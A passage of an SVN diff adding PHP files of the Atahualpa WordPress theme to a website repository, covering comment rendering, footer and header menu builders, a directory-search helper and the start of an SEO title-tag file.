+	wp_register_sidebar_widget('calendar', __('Calendar','atahualpa'), 'widget_calendar', $widget_ops);
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_comment_walker.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_comment_walker.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_comment_walker.php	(revision 44)
@@ -0,0 +1,146 @@
+<?php
+class Walker_Comment2 extends Walker {
+	/**
+	 * @see Walker::$tree_type
+	 * @since unknown
+	 * @var string
+	 */
+	var $tree_type = 'comment';
+
+	/**
+	 * @see Walker::$db_fields
+	 * @since unknown
+	 * @var array
+	 */
+	var $db_fields = array ('parent' => 'comment_parent', 'id' => 'comment_ID');
+
+	/**
+	 * @see Walker::start_lvl()
+	 * @since unknown
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int $depth Depth of comment.
+	 * @param array $args Uses 'style' argument for type of HTML list.
+	 */
+	function start_lvl(&$output, $depth, $args) {
+		$GLOBALS['comment_depth'] = $depth + 1;
+
+		switch ( $args['style'] ) {
+			case 'div':
+				break;
+			case 'ol':
+				echo "<ol class='children'>\n";
+				break;
+			default:
+			case 'ul':
+				echo "<ul class='children'>\n";
+				break;
+		}
+	}
+
+	/**
+	 * @see Walker::end_lvl()
+	 * @since unknown
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int $depth Depth of comment.
+	 * @param array $args Will only append content if style argument value is 'ol' or 'ul'.
+	 */
+	function end_lvl(&$output, $depth, $args) {
+		$GLOBALS['comment_depth'] = $depth + 1;
+
+		switch ( $args['style'] ) {
+			case 'div':
+				break;
+			case 'ol':
+				echo "</ol>\n";
+				break;
+			default:
+			case 'ul':
+				echo "</ul>\n";
+				break;
+		}
+	}
+
+	/**
+	 * @see Walker::start_el()
+	 * @since unknown
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $comment Comment data object.
+	 * @param int $depth Depth of comment in reference to parents.
+	 * @param array $args
+	 */
+	function start_el(&$output, $comment, $depth, $args) {
+		$depth++;
+		$GLOBALS['comment_depth'] = $depth;
+
+		if ( !empty($args['callback']) ) {
+			call_user_func($args['callback'], $comment, $args, $depth);
+			return;
+		}
+
+		$GLOBALS['comment'] = $comment;
+		extract($args, EXTR_SKIP);
+
+		if ( 'div' == $args['style'] ) {
+			$tag = 'div';
+			$add_below = 'comment';
+		} else {
+			$tag = 'li';
+			$add_below = 'div-comment';
+		}
+?>
+		<<?php echo $tag ?> <?php comment_class($class='clearfix') ?> id="comment-<?php comment_ID() ?>">
+		<?php if ( 'ul' == $args['style'] ) : ?>
+		<div id="div-comment-<?php comment_ID() ?>" class="clearfix comment-container
+		<?php 
+		$comment = get_comment($comment_id);
+		if ( $post = get_post($post_id) ) {
+			if ( $comment->user_id === $post->post_author )
+				echo ' bypostauthor';
+		} ?>">
+		<?php endif; ?>
+		<div class="comment-author vcard">
+		<?php if ($args['avatar_size'] != 0) echo get_avatar( $comment, $args['avatar_size'] ); ?>
+		<span class="authorname"><?php printf(__('%s'), get_comment_author_link()) ?></span>
+		</div>
+<?php if ($comment->comment_approved == '0') : ?>
+		<em><?php _e('Your comment is awaiting moderation.','atahualpa'); ?></em>
+		<br />
+<?php endif; ?>
+		<div class="comment-meta commentmetadata">
+		<a href="<?php echo htmlspecialchars( get_comment_link( $comment->comment_ID, $page ) ) ?>">
+		<?php printf(__('%1$s at %2$s'), get_comment_date(__('F jS, Y','atahualpa')),  get_comment_time()) ?>
+		</a><?php comment_reply_link(array_merge( $args, array('add_below' => $add_below, 'depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
+		<?php edit_comment_link(__(' &middot; Edit','atahualpa'),'','') ?>
+		</div>
+		<?php comment_text() ?>
+		<?php if ( 'ul' == $args['style'] ) : ?>
+		</div>
+		<?php endif; ?>
+<?php
+	}
+
+	/**
+	 * @see Walker::end_el()
+	 * @since unknown
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $comment
+	 * @param int $depth Depth of comment.
+	 * @param array $args
+	 */
+	function end_el(&$output, $comment, $depth, $args) {
+		if ( !empty($args['end-callback']) ) {
+			call_user_func($args['end-callback'], $comment, $args, $depth);
+			return;
+		}
+		if ( 'div' == $args['style'] )
+			echo "</div>\n";
+		else
+			echo "</li>\n";
+	}
+
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_footer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_footer.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_footer.php	(revision 44)
@@ -0,0 +1,68 @@
+<?php
+function footer_page_links($matches) {
+	$page_id = $matches[1];
+	$page_data = get_page($page_id, ARRAY_A);
+	$page_title = $page_data['post_title'];
+	$page_url = get_permalink($page_id);
+
+	return '<a href="' . $page_url . '">' . $page_title . '</a>'; 
+}
+
+
+function loginout_link() {
+      if ( ! is_user_logged_in() )
+      $link = '<a href="' . get_settings('siteurl') . '/wp-login.php"' . ($bfa_ata_nofollow == "Yes" ? ' rel="nofollow"' : '') . '>' . __('Login','atahualpa') . '</a>';
+      else
+      $link = '<a href="' . get_settings('siteurl') . '/wp-login.php?action=logout">' . __('Logout','atahualpa') . '</a>';
+  
+      return apply_filters('loginout', $link);
+}
+  
+  
+function register_link() {
+      if ( ! is_user_logged_in() ) {
+      if ( get_settings('users_can_register') )
+           $link = '<a href="' . get_settings('siteurl') . '/wp-register.php"' . ($bfa_ata_nofollow == "Yes" ? ' rel="nofollow"' : '') . '>' . __('Register','atahualpa') . '</a>';
+          else
+              $link = '';
+      } 
+  
+      return apply_filters('register', $link);
+}
+
+function admin_link() {
+      if ( is_user_logged_in() ) {
+          $link = '<a href="' . get_settings('siteurl') . '/wp-admin/">' . __('Site Admin','atahualpa') . '</a>';
+      }
+  
+      return apply_filters('register', $link);
+}
+			
+
+function bfa_footer($footer_content) {
+
+if (strpos($footer_content,'%page')!==false) {
+// page links
+$footer_content = preg_replace_callback("|%page-(.*?)%|","footer_page_links",$footer_content);
+}
+
+// home link
+$footer_content = str_replace("%home%",  '<a href="' . get_option('home') . '/">' . get_option('blogname') . '</a>', $footer_content);
+// login/logout link
+$footer_content = str_replace("%loginout%",  loginout_link(), $footer_content);
+// admin link
+$footer_content = str_replace("%admin%",  admin_link(), $footer_content);
+// register link
+$footer_content = str_replace("%register%",  register_link(), $footer_content);
+// RSS link
+$footer_content = str_replace("%rss%",  get_bloginfo('rss2_url'), $footer_content);
+// Comments RSS link
+$footer_content = str_replace("%comments-rss%",  get_bloginfo('comments_rss2_url'), $footer_content);
+// Current Year
+$footer_content = str_replace("%current-year%",  date('Y'), $footer_content);
+
+
+return footer_output($footer_content);
+
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_header_config.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_header_config.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_header_config.php	(revision 44)
@@ -0,0 +1,201 @@
+<?php 
+function bfa_header_config($header_items) {
+
+global $options;
+foreach ($options as $value) {
+if (get_option( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { $$value['id'] = get_option( $value['id'] ); } }
+
+if (strpos($header_items,'%image')!==false) { include (TEMPLATEPATH . '/functions/bfa_rotating_header_images.php'); } 
+
+if (strpos($header_items,'%pages')!==false) {
+// Page Menu Bar 
+$page_menu_bar = '<div id="menu1"><ul id="rmenu2" class="clearfix rMenu-hor rMenu">' . "\n";
+if ($bfa_ata_home_page_menu_bar != '') {
+	$page_menu_bar .= '<li class="page_item';
+	if (function_exists('is_front_page')) {
+		if (is_front_page() OR is_home()) { $page_menu_bar .= ' current_page_item';
+		}} elseif (is_home()) { $page_menu_bar .= ' current_page_item';	}
+$page_menu_bar .= '"><a href="' . get_option('home') . '/" title="' . get_option('blogname') . '">' . 
+$bfa_ata_home_page_menu_bar . '</a></li>' . "\n";	
+}	
+if ($bfa_ata_levels_page_menu_bar == "") {$bfa_ata_levels_page_menu_bar = 0; }	
+$page_menu_bar .= bfa_hor_pages($bfa_ata_sorting_page_menu_bar, $bfa_ata_levels_page_menu_bar, $bfa_ata_titles_page_menu_bar, $bfa_ata_exclude_page_menu_bar);
+$page_menu_bar .= '</ul></div>' . "\n";
+// END of Page Menu Bar 
+}
+
+if (strpos($header_items,'%cats')!==false) {
+// Category Menu Bar 
+$cat_menu_bar = '<div id="menu2"><ul id="rmenu" class="clearfix rMenu-hor rMenu">' . "\n";
+if ($bfa_ata_home_cat_menu_bar != '') {
+	$cat_menu_bar .= '<li class="cat-item';
+	if (function_exists('is_front_page')) {
+		if (is_front_page() OR is_home()) { $cat_menu_bar .= ' current-cat';
+		}} elseif (is_home()) { $cat_menu_bar .= ' current-cat';	}
+$cat_menu_bar .= '"><a href="' . get_option('home') . '/" title="' . get_option('blogname') . '">' . 
+$bfa_ata_home_cat_menu_bar . '</a></li>' . "\n";	
+}	
+if ($bfa_ata_levels_cat_menu_bar == "") {$bfa_ata_levels_cat_menu_bar = 0; }	
+$cat_menu_bar .= bfa_hor_cats($bfa_ata_sorting_cat_menu_bar, $bfa_ata_levels_cat_menu_bar, $bfa_ata_titles_cat_menu_bar, $bfa_ata_exclude_cat_menu_bar);
+$cat_menu_bar .= '</ul></div>' . "\n";
+// END of Category Menu Bar 
+}
+
+if (strpos($header_items,'%logo')!==false) {
+// Logo Area 
+$logo_area = '<table id="logoarea" cellpadding="0" cellspacing="0" border="0" width="100%"><tr>';
+
+if ($bfa_ata_show_search_box == "Yes" AND ($bfa_ata_show_posts_icon == "Yes" OR $bfa_ata_show_email_icon == "Yes" OR $bfa_ata_show_comments_icon == "Yes")) { 
+$header_rowspan = 'rowspan="2" '; } else { $header_rowspan = ''; }
+
+	// Logo Icon for Wordpress and WPMU
+	if ($bfa_ata_logo != "") { 
+		$logo_area .= '<td ' . $header_rowspan . 'valign="middle" class="logoarea-logo"><a href="' . get_option('home') . '/"><img class="logo" src="';
+			// if this is WordPress MU 
+			if (file_exists(ABSPATH."/wpmu-settings.php")) {
+				// two ways to figure out the upload path on WPMU, first try easy version 1, :
+				$upload_path1 = ABSPATH . get_option('upload_path');
+				// Try the hard way, version 2: 
+				$upload_path2 = str_replace('themes/' . get_option('stylesheet') . '/functions', '', $_SERVER['DOCUMENT_ROOT']) . 
+				'/wp-content/blogs.dir/' . $wpdb->blogid . '/files';
+				// see if user has uploaded his own "logosymbol.gif" somewhere into his upload folder, version 1:
+				$wpmu_logosymbol = m_find_in_dir($upload_path1,$bfa_ata_logo); $upload_path = $upload_path1;
+				// try version 2 if no logosymbol.gif was found:
+				if (!$wpmu_logosymbol) {
+					$wpmu_logosymbol = m_find_in_dir($upload_path2,$bfa_ata_logo); $upload_path = $upload_path2;
+					}
+				// if we found logosymbol.gif one way or another, figure out the public URL
+				if ($wpmu_logosymbol) {
+					$new_logosymbol = str_replace($upload_path,
+					get_option('fileupload_url'), $wpmu_logosymbol); 
+					$logo_area .= $new_logosymbol[0] . '" alt="' . get_bloginfo('name');
+					// otherwise: print the one in the theme folder
+					} 
+				else { 
+					$logo_area .= get_bloginfo('template_directory') . '/images/' . $bfa_ata_logo . '" alt="' . get_bloginfo('name'); 
+					}
+			// if this is Wordpress and not WPMU, print the logosymbol.gif in the theme folder right away
+			} else { 
+				$logo_area .= get_bloginfo('template_directory') . '/images/' . $bfa_ata_logo . '" alt="' . get_bloginfo('name'); 
+				} 
+	$logo_area .= '" /></a></td>';
+	} 
+	// END of Logo Icon
+
+	// Blog title and description
+	if ( $bfa_ata_blog_title_show == "Yes" OR $bfa_ata_blog_tagline_show == "Yes" ) {
+	$logo_area .= '<td ' . $header_rowspan . 'valign="middle" class="logoarea-title">';
+			if ( $bfa_ata_blog_title_show == "Yes" ) {
+			$logo_area .= '<h1 class="blogtitle"><a href="' . get_option('home') . '/">' . get_bloginfo('name') . '</a></h1>';
+			}
+			if ( $bfa_ata_blog_tagline_show == "Yes" ) {
+			$logo_area .= '<p class="tagline">' . get_bloginfo( 'description' ) . '</p>';
+			}
+	$logo_area .= '</td>';
+	}
+	// END of title/description
+
+	// is any feed icon or link active?
+	if ($bfa_ata_show_posts_icon == "Yes" OR $bfa_ata_show_email_icon == "Yes" OR $bfa_ata_show_comments_icon == "Yes") {
+	$logo_area .= '<td class="feed-icons" valign="middle" align="right"><div class="clearfix rss-box">';
+	}
+
+	// COMMENT Feed link
+	if ($bfa_ata_show_comments_icon == "Yes" ) { 
+	$logo_area .= '<a class="comments-icon" '; 
+	if ($bfa_ata_nofollow == "Yes") { $logo_area .= 'rel="nofollow" '; } 
+	$logo_area .= 'href="' . get_bloginfo('comments_rss2_url') . '" title="' . $bfa_ata_comment_feed_link_title . '">' . $bfa_ata_comment_feed_link . '</a>';
+	} 
+	// END: of COMMENT Feed link 
+	
+	// Feedburner Email link
+	if ($bfa_ata_show_email_icon == "Yes" ) { 
+	$logo_area .= '<a class="email-icon" '; 
+	if ($bfa_ata_nofollow == "Yes") { $logo_area .= 'rel="nofollow" '; } 
+	$logo_area .= 'href="http://' . ($bfa_ata_feedburner_old_new == 'New - at feedburner.google.com' ? 
+	'feedburner.google.com/fb/a/mailverify?uri=' : 'www.feedburner.com/fb/a/emailverifySubmit?feedId=') . 
+	$bfa_ata_feedburner_email_id . '&amp;loc=' . get_locale() . '" title="' . $bfa_ata_email_subscribe_link_title . '">' . $bfa_ata_email_subscribe_link . '</a>';
+	} 
+	// END: of Feedburner Email link 
+	
+	// POSTS Feed link
+	if ($bfa_ata_show_posts_icon == "Yes" ) { 
+	$logo_area .= '<a class="posts-icon" '; 
+	if ($bfa_ata_nofollow == "Yes") { $logo_area .= 'rel="nofollow" '; } 
+	$logo_area .= 'href="' . get_bloginfo('rss2_url') . '" title="' . $bfa_ata_post_feed_link_title . '">' . $bfa_ata_post_feed_link . '</a>';
+	} 
+	// END: of POSTS Feed link 
+
+	if ($bfa_ata_show_posts_icon == "Yes" OR $bfa_ata_show_email_icon == "Yes" OR $bfa_ata_show_comments_icon == "Yes") {
+	$logo_area .= '</div></td>';
+		if ($bfa_ata_show_search_box == "Yes" ) { 
+		$logo_area .= '</tr><tr>';
+		}
+	}	
+	
+	// Search box
+	if ($bfa_ata_show_search_box == "Yes" ) { 
+	$logo_area .= '<td valign="bottom" class="search-box" align="right">';
+	$logo_area .= '<div class="searchbox">
+		<form method="get" class="searchform" action="' . get_bloginfo( 'url' ) . '/">
+		<div class="searchbox-form">
+			<input type="text" class="text inputblur" onfocus="this.value=\''.(get_search_query() ? get_search_query() : '' ).'\'" 
+			value="' . (get_search_query() ? get_search_query() : $bfa_ata_searchbox_text ) . 
+			'" onblur="this.value=\''.(get_search_query() ? get_search_query() : $bfa_ata_searchbox_text ).'\'" name="s" />
+		</div>
+		</form>
+	</div>
+	</td>';
+	} 
+	// END of Search box 
+
+$logo_area .= '</tr></table>';	
+// END of Logo Area 
+}
+
+if (strpos($header_items,'%image')!==false) {
+// Header Image
+$header_image = '<div class="header-image-container" style="background: url(' . $selected_header_image . ') ' . $bfa_ata_headerimage_alignment . ' no-repeat;">';
+$header_image .= ($bfa_ata_header_image_clickable == "Yes" ? '<div class="clickable">
+				<a class="divclick" title="' . get_bloginfo('name') . '" href ="' . get_option('home') . '/">&nbsp;</a></div>' : '' );
+
+		if ( $bfa_ata_header_opacity_left != 0 AND $bfa_ata_header_opacity_left != '' ) { 
+			$header_image .= '<div class="opacityleft">&nbsp;</div>';
+			}
+		if ( $bfa_ata_header_opacity_right != 0 AND $bfa_ata_header_opacity_right != '' ) { 
+			$header_image .= '<div class="opacityright">&nbsp;</div>';
+			}
+		// END: If Header Opacity 
+		if ( $bfa_ata_overlay_blog_title == "Yes" OR $bfa_ata_overlay_blog_tagline == "Yes" ) {
+		$header_image .= '<div class="titleoverlay">' . 
+			( $bfa_ata_overlay_blog_title == "Yes" ? '<h1 class="blogtitle"><a href="' . get_option('home') . '/">' . get_bloginfo('name') . '</a></h1>' : '' ) . 
+			( $bfa_ata_overlay_blog_tagline == "Yes" ? '<p class="tagline">' . get_bloginfo( 'description' ) . '</p>' : '' ) . 
+			'</div>';
+		}
+
+$header_image .= '</div>';
+// END of Header Image
+}
+
+if (strpos($header_items,'%bar1')!==false) {
+// Horizontal bar 1
+$horizontal_bar1 = '<div class="horbar1">&nbsp;</div>';
+// END of Horizontal bar 1
+}
+
+if (strpos($header_items,'%bar2')!==false) {
+// Horizontal bar 2
+$horizontal_bar2 = '<div class="horbar2">&nbsp;</div>';
+// END of Horizontal bar 2
+}
+
+$header_item_numbers = array("%pages", "%cats", "%logo", "%image", "%bar1", "%bar2");
+$header_output = array($page_menu_bar, $cat_menu_bar, $logo_area, $header_image, $horizontal_bar1, $horizontal_bar2);
+
+$header_items = trim($header_items);
+$header_items = str_replace(" ", "", $header_items);
+$final_header = str_replace($header_item_numbers, $header_output, $header_items);
+
+echo $final_header;
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_hor_cats.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_hor_cats.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_hor_cats.php	(revision 44)
@@ -0,0 +1,19 @@
+<?php
+function bfa_hor_cats($sort_order = "ID", $levels = "", $titles = "No", $exclude = "") { 
+   $list_cat_string = wp_list_categories('orderby=' . $sort_order . '&title_li=&depth=' . $levels . '&exclude=' . trim(str_replace(" ", "", $exclude)) . '&echo=0');
+   $list_cat_string = preg_replace("/<li class=\"(cat-item|cat-item cat-item-[0-9]+)(.*?)\n<ul class='children'>/i","<li class=\"rMenu-expand\\2\n <ul class=\"rMenu-ver\">",$list_cat_string);
+   $list_cat_string = preg_replace("/<li class=\"(cat-item|cat-item cat-item-[0-9]+)(.*?)\n\t<ul class='children'>/i","<li class=\"rMenu-expand\\2\n\t <ul class=\"rMenu-ver\">",$list_cat_string);
+   $list_cat_string = preg_replace("/<li class=\"(cat-item|cat-item cat-item-[0-9]+)(.*?)\n\t\t<ul class='children'>/i","<li class=\"rMenu-expand\\2\n\t\t <ul class=\"rMenu-ver\">",$list_cat_string);
+   $list_cat_string = preg_replace("/<li class=\"(cat-item|cat-item cat-item-[0-9]+)(.*?)\n\t\t\t<ul class='children'>/i","<li class=\"rMenu-expand\\2\n\t\t\t <ul class=\"rMenu-ver\">",$list_cat_string);
+   $list_cat_string = preg_replace("/<li class=\"(cat-item|cat-item cat-item-[0-9]+)(.*?)\n\t\t\t\t<ul class='children'>/i","<li class=\"rMenu-expand\\2\n\t\t\t\t <ul class=\"rMenu-ver\">",$list_cat_string);
+   $list_cat_string = preg_replace("/<li class=\"(cat-item|cat-item cat-item-[0-9]+)(.*?)\n\t\t\t\t\t<ul class='children'>/i","<li class=\"rMenu-expand\\2\n\t\t\t\t\t <ul class=\"rMenu-ver\">",$list_cat_string);
+   $list_cat_string = preg_replace("/<li class=\"(cat-item|cat-item cat-item-[0-9]+)(.*?)\n\t\t\t\t\t\t<ul class='children'>/i","<li class=\"rMenu-expand\\2\n\t\t\t\t\t\t <ul class=\"rMenu-ver\">",$list_cat_string);
+   $list_cat_string = preg_replace("/<li class=\"(cat-item|cat-item cat-item-[0-9]+)(.*?)\n\t\t\t\t\t\t\t<ul class='children'>/i","<li class=\"rMenu-expand\\2\n\t\t\t\t\t\t\t <ul class=\"rMenu-ver\">",$list_cat_string);
+   $list_cat_string = preg_replace("/<li class=\"(cat-item|cat-item cat-item-[0-9]+)(.*?)\n\t\t\t\t\t\t\t\t<ul class='children'>/i","<li class=\"rMenu-expand\\2\n\t\t\t\t\t\t\t\t <ul class=\"rMenu-ver\">",$list_cat_string);
+   $list_cat_string = preg_replace("/<li class=\"(cat-item|cat-item cat-item-[0-9]+)(.*?)\n\t\t\t\t\t\t\t\t\t<ul class='children'>/i","<li class=\"rMenu-expand\\2\n\t\t\t\t\t\t\t\t\t <ul class=\"rMenu-ver\">",$list_cat_string);
+   $list_cat_string = preg_replace("/<li class=\"(cat-item|cat-item cat-item-[0-9]+)\">/i","<li>",$list_cat_string);
+   $list_cat_string = preg_replace("/<li class=\"(cat-item|cat-item cat-item-[0-9]+) (.*?)\">/i","<li class=\"\\2\">",$list_cat_string);
+   if ($titles == "No") { $list_cat_string = preg_replace("/title=\"(.*?)\"/i","",$list_cat_string);}
+return $list_cat_string;
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_hor_pages.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_hor_pages.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_hor_pages.php	(revision 44)
@@ -0,0 +1,19 @@
+<?php
+function bfa_hor_pages($sort_order = "menu_order", $levels = "", $titles = "No", $exclude = "") { 
+	$list_pages_string = wp_list_pages('sort_column=' . $sort_order . '&title_li=&depth=' . $levels . '&exclude=' . trim(str_replace(" ", "", $exclude)) . '&echo=0');
+   $list_pages_string = preg_replace("/<li class=\"(page_item|page_item page-item-[0-9]+)(.*?)\n<ul>/i","<li class=\"rMenu-expand\\2\n <ul class=\"rMenu-ver\">",$list_pages_string);
+   $list_pages_string = preg_replace("/<li class=\"(page_item|page_item page-item-[0-9]+)(.*?)\n\t<ul>/i","<li class=\"rMenu-expand\\2\n\t <ul class=\"rMenu-ver\">",$list_pages_string);
+   $list_pages_string = preg_replace("/<li class=\"(page_item|page_item page-item-[0-9]+)(.*?)\n\t\t<ul>/i","<li class=\"rMenu-expand\\2\n\t\t <ul class=\"rMenu-ver\">",$list_pages_string);
+   $list_pages_string = preg_replace("/<li class=\"(page_item|page_item page-item-[0-9]+)(.*?)\n\t\t\t<ul>/i","<li class=\"rMenu-expand\\2\n\t\t\t <ul class=\"rMenu-ver\">",$list_pages_string);
+   $list_pages_string = preg_replace("/<li class=\"(page_item|page_item page-item-[0-9]+)(.*?)\n\t\t\t\t<ul>/i","<li class=\"rMenu-expand\\2\n\t\t\t\t <ul class=\"rMenu-ver\">",$list_pages_string);
+   $list_pages_string = preg_replace("/<li class=\"(page_item|page_item page-item-[0-9]+)(.*?)\n\t\t\t\t\t<ul>/i","<li class=\"rMenu-expand\\2\n\t\t\t\t\t <ul class=\"rMenu-ver\">",$list_pages_string);
+   $list_pages_string = preg_replace("/<li class=\"(page_item|page_item page-item-[0-9]+)(.*?)\n\t\t\t\t\t\t<ul>/i","<li class=\"rMenu-expand\\2\n\t\t\t\t\t\t <ul class=\"rMenu-ver\">",$list_pages_string);
+   $list_pages_string = preg_replace("/<li class=\"(page_item|page_item page-item-[0-9]+)(.*?)\n\t\t\t\t\t\t\t<ul>/i","<li class=\"rMenu-expand\\2\n\t\t\t\t\t\t\t <ul class=\"rMenu-ver\">",$list_pages_string);
+   $list_pages_string = preg_replace("/<li class=\"(page_item|page_item page-item-[0-9]+)(.*?)\n\t\t\t\t\t\t\t\t<ul>/i","<li class=\"rMenu-expand\\2\n\t\t\t\t\t\t\t\t <ul class=\"rMenu-ver\">",$list_pages_string);
+   $list_pages_string = preg_replace("/<li class=\"(page_item|page_item page-item-[0-9]+)(.*?)\n\t\t\t\t\t\t\t\t\t<ul>/i","<li class=\"rMenu-expand\\2\n\t\t\t\t\t\t\t\t\t <ul class=\"rMenu-ver\">",$list_pages_string);
+   $list_pages_string = preg_replace("/<li class=\"(page_item|page_item page-item-[0-9]+)\">/i","<li>",$list_pages_string);
+   $list_pages_string = preg_replace("/<li class=\"(page_item|page_item page-item-[0-9]+) (.*?)\">/i","<li class=\"\\2\">",$list_pages_string);
+   if ($titles == "No") { $list_pages_string = preg_replace("/title=\"(.*?)\"/i","",$list_pages_string);}
+return $list_pages_string;
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_m_find_in_dir.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_m_find_in_dir.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_m_find_in_dir.php	(revision 44)
@@ -0,0 +1,62 @@
+<?php
+function m_find_in_dir( $root, $pattern, $recursive = true, $case_sensitive = false ) {
+    $result = array();
+    if( $case_sensitive ) {
+        if( false === m_find_in_dir__( $root, $pattern, $recursive, $result )) {
+            return false;
+        }
+    } else {
+        if( false === m_find_in_dir_i__( $root, $pattern, $recursive, $result )) {
+            return false;
+        }
+    }
+   
+    return $result;
+}
+
+/**
+ * @access private
+ */
+function m_find_in_dir__( $root, $pattern, $recursive, &$result ) {
+    $dh = @opendir( $root );
+    if( false === $dh ) {
+        return false;
+    }
+    while( $file = readdir( $dh )) {
+        if( "." == $file || ".." == $file ){
+            continue;
+        }
+        if( false !== @ereg( $pattern, "{$root}/{$file}" )) {
+            $result[] = "{$root}/{$file}";
+        }
+        if( false !== $recursive && is_dir( "{$root}/{$file}" )) {
+            m_find_in_dir__( "{$root}/{$file}", $pattern, $recursive, $result );
+        }
+    }
+    closedir( $dh );
+    return true;
+}
+
+/**
+ * @access private
+ */
+function m_find_in_dir_i__( $root, $pattern, $recursive, &$result ) {
+    $dh = @opendir( $root );
+    if( false === $dh ) {
+        return false;
+    }
+    while( $file = readdir( $dh )) {
+        if( "." == $file || ".." == $file ){
+            continue;
+        }
+        if( false !== @eregi( $pattern, "{$root}/{$file}" )) {
+            $result[] = "{$root}/{$file}";
+        }
+        if( false !== $recursive && is_dir( "{$root}/{$file}" )) {
+            m_find_in_dir__( "{$root}/{$file}", $pattern, $recursive, $result );
+        }
+    }
+    closedir( $dh );
+    return true;
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_meta_tags.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_meta_tags.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_meta_tags.php	(revision 44)
@@ -0,0 +1,109 @@
+<?php
+# check to see if any of these SEO plugins is installed. If yes, the Bytes For All SEO options will be
+# deactivated, not matter what the option "Use Bytes For All SEO options?" is set to
+# (at Admin -> Design|Presentation -> [Theme Name] Theme Options)
+#
+if(class_exists('All_in_One_SEO_Pack') OR // if "All-In-One_SEO" Plugin (http://semperfiwebdesign.com) is installed
+class_exists('wpSEO') OR // if "WpSEO" Plugin (http://www.wpseo.de/) is installed
+class_exists('HeadSpace2_Admin') OR // if "HeadSpace2" Plugin (http://urbangiraffe.com/plugins/headspace2/) is installed
+function_exists('seo_title_tag_options_page') OR // if "SEO Title Tag" Plugin (http://www.netconcepts.com/seo-title-tag-plugin/) is installed
+class_exists('Another_WordPress_Meta_Plugin') OR // if "Another WordPress Meta Plugin" (http://wp.uberdose.com/2006/11/04/another-wordpress-meta-plugin/) is installed
+class_exists('Platinum_SEO_Pack') OR // if "Platinum_SEO_Pack" Plugin (http://techblissonline.com/platinum-seo-pack/) is installed
+function_exists('headmeta') OR // if "HeadMeta" Plugin (http://dougal.gunters.org/blog/2004/06/17/my-first-wordpress-plugin-headmeta) is installed
+function_exists('bas_improved_meta_descriptions') OR // if "Improved Meta Description Snippets" Plugin (http://www.microkid.net/wordpress-plugins/improved-meta-description-snippets/) is installed
+function_exists('head_meta_desc') OR // if "Head META Description" Plugin (http://guff.szub.net/head-meta-description/) is installed
+class_exists('RobotsMeta_Admin') OR // if "Robots Meta" Plugin (http://yoast.com/wordpress/robots-meta/) is installed
+function_exists('quickkeywords') OR // if "Quick META Keywords" Plugin (http://www.quickonlinetips.com/) is installed
+class_exists('Add_Your_Own_Headers') OR // if "Add Your Own Headers" Plugin (http://wp.uberdose.com/2007/03/30/add-your-own-headers/) is installed
+function_exists('SEO_wordpress') OR // if "SEO_Wordpress" Plugin (http://www.utheguru.com/seo_wordpress-wordpress-seo-plugin) is installed
+$bfa_ata_use_bfa_seo == "No") { // if the option "Use Bytes For All SEO options?" is set to "No" (at Admin -> Design|Presentation -> [Theme Name] Theme Options)
+?>
+<title><?php bloginfo('name'); ?> <?php wp_title(); ?></title>
+<?php } else { ?>
+<title><?php 
+if ( is_home() ) {
+	bloginfo('name');} else {
+	if ( is_single() OR is_page() ) { 
+#		$bfa_ata_page_title = htmlentities(single_post_title('', false),ENT_QUOTES); } 
+		$bfa_ata_page_title = single_post_title('', false); } // post and page titles get their own filter from WP
+	elseif ( is_category() ) { 
+		$bfa_ata_page_title = htmlentities(single_cat_title('', false),ENT_QUOTES); } // cat titles don't get a filter, so htmlentities is required
+	elseif ( function_exists('is_tag') && is_tag() ) { 
+#		$bfa_ata_page_title = htmlentities(single_tag_title('', false),ENT_QUOTES); }
+		$bfa_ata_page_title = single_tag_title('', false); } // tag titles get their own filter from WP
+	elseif ( is_search() ) { 
+		$bfa_ata_page_title = htmlentities(wp_specialchars($s),ENT_QUOTES);	} // no WP filter, htmlentities required 
+	elseif ( is_day() ) { 
+		$bfa_ata_page_title = get_the_time(__('l, F jS, Y','atahualpa')); } 
+	elseif ( is_month() ) { 
+		$bfa_ata_page_title = get_the_time(__('F Y','atahualpa')); }
+	elseif ( is_year() ) { 
+		$bfa_ata_page_title = get_the_time('Y'); } 
+#	elseif ( is_author() ) { 
+#		$bfa_ata_page_title = htmlentities(the_author(),ENT_QUOTES); }   // this won't work
+	elseif ( is_404() ) { 
